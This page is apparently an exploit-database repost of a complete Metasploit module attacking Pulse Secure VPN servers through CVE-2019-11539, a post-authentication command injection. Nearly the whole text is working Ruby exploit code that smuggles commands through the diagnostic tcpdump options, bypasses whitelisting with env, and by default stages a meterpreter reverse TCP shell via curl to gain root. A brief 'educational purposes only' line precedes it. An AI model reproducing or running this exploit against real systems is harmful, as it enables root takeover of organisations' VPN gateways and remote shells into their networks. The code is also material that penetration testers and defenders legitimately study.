Pulse secure vpn arbitrary command execution (metasploit) Vulnerability / Exploit

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Exploits / Vulnerability Discovered : 2019-11-20 | Type : remote | Platform : multiple
This exploit / vulnerability Pulse secure vpn arbitrary command execution (metasploit) is for educational purposes only and if it is used you will do on your own risk!

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[+] Code ...

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote

Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::CmdStager

def initialize(info = {})
super(update_info(info,
'Name' => 'Pulse Secure VPN Arbitrary Command Execution',
'Description' => %q{
This module exploits a post-auth command injection in the Pulse Secure
VPN server to execute commands as root. The env(1) command is used to
bypass application whitelisting and run arbitrary commands.

Please see related module auxiliary/gather/pulse_secure_file_disclosure
for a pre-auth file read that is able to obtain plaintext and hashed
credentials, plus session IDs that may be used with this exploit.

A valid administrator session ID is required in lieu of untested SSRF.
},
'Author' => [
'Orange Tsai', # Discovery (@orange_8361)
'Meh Chang', # Discovery (@mehqq_)
'wvu' # Module
],
'References' => [
['CVE', '2019-11539'],
['URL', 'https://kb.pulsesecure.net/articles/Pulse_Security_Advisories/SA44101/'],
['URL', 'https://blog.orange.tw/2019/09/attacking-ssl-vpn-part-3-golden-pulse-secure-rce-chain.html'],
['URL', 'https://hackerone.com/reports/591295']
],
'DisclosureDate' => '2019-04-24', # Public disclosure
'License' => MSF_LICENSE,
'Platform' => ['unix', 'linux'],
'Arch' => [ARCH_CMD, ARCH_X86, ARCH_X64],
'Privileged' => true,
'Targets' => [
['Unix In-Memory',
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'Type' => :unix_memory,
'Payload' => {
'BadChars' => %Q(&*(){}[]`;|?\n~<>"'),
'Encoder' => 'generic/none' # Force manual badchar analysis
},
'DefaultOptions' => {'PAYLOAD' => 'cmd/unix/generic'}
],
['Linux Dropper',
'Platform' => 'linux',
'Arch' => [ARCH_X86, ARCH_X64],
'Type' => :linux_dropper,
'DefaultOptions' => {'PAYLOAD' => 'linux/x64/meterpreter_reverse_tcp'}
]
],
'DefaultTarget' => 1,
'DefaultOptions' => {
'RPORT' => 443,
'SSL' => true,
'CMDSTAGER::SSL' => true
},
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK],
'RelatedModules' => ['auxiliary/gather/pulse_secure_file_disclosure']
}
))

register_options([
OptString.new('SID', [true, 'Valid admin session ID'])
])
end

def post_auth?
true
end

def exploit
get_csrf_token

print_status("Executing #{target.name} target")

case target['Type']
when :unix_memory
execute_command(payload.encoded)
when :linux_dropper
execute_cmdstager(
flavor: :curl,
noconcat: true
)
end
end

def get_csrf_token
@cookie = "DSID=#{datastore['SID']}"
print_good("Setting session cookie: #{@cookie}")

print_status('Obtaining CSRF token')
res = send_request_cgi(
'method' => 'GET',
'uri' => diag_cgi,
'cookie' => @cookie
)

unless res && res.code == 200 && (@csrf_token = parse_csrf_token(res.body))
fail_with(Failure::NoAccess, 'Session cookie expired or invalid')
end

print_good("CSRF token: #{@csrf_token}")
end

def parse_csrf_token(body)
body.to_s.scan(/xsauth=([[:xdigit:]]+)/).flatten.first
end

def execute_command(cmd, _opts = {})
# Prepend absolute path to curl(1), since it's not in $PATH
cmd.prepend('/home/bin/') if cmd.start_with?('curl')

# Bypass application whitelisting with permitted env(1)
cmd.prepend('env ')

vprint_status("Executing command: #{cmd}")
print_status("Yeeting exploit at #{full_uri(diag_cgi)}")
res = send_request_cgi(
'method' => 'GET',
'uri' => diag_cgi,
'cookie' => @cookie,
'vars_get' => {
'a' => 'td', # tcpdump
'options' => sploit(cmd),
'xsauth' => @csrf_token,
'toggle' => 'Start Sniffing'
}
)

unless res && res.code == 200
fail_with(Failure::UnexpectedReply, 'Could not yeet exploit')
end

print_status("Triggering payload at #{full_uri(setcookie_cgi)}")
res = send_request_cgi({
'method' => 'GET',
'uri' => setcookie_cgi
}, 3.1337)

# 200 response code, yet 500 error in body
unless res && res.code == 200 && !res.body.include?('500 Internal Error')
print_warning('Payload execution may have failed')
return
end

print_good('Payload execution successful')

if datastore['PAYLOAD'] == 'cmd/unix/generic'
print_line(res.body.sub(/\s*<html>.*/m, ''))
end
end

def sploit(cmd)
%(-r$x="#{cmd}",system$x# 2>/data/runtime/tmp/tt/setcookie.thtml.ttc <)
end

def diag_cgi
'/dana-admin/diag/diag.cgi'
end

def setcookie_cgi
'/dana-na/auth/setcookie.cgi'
end

end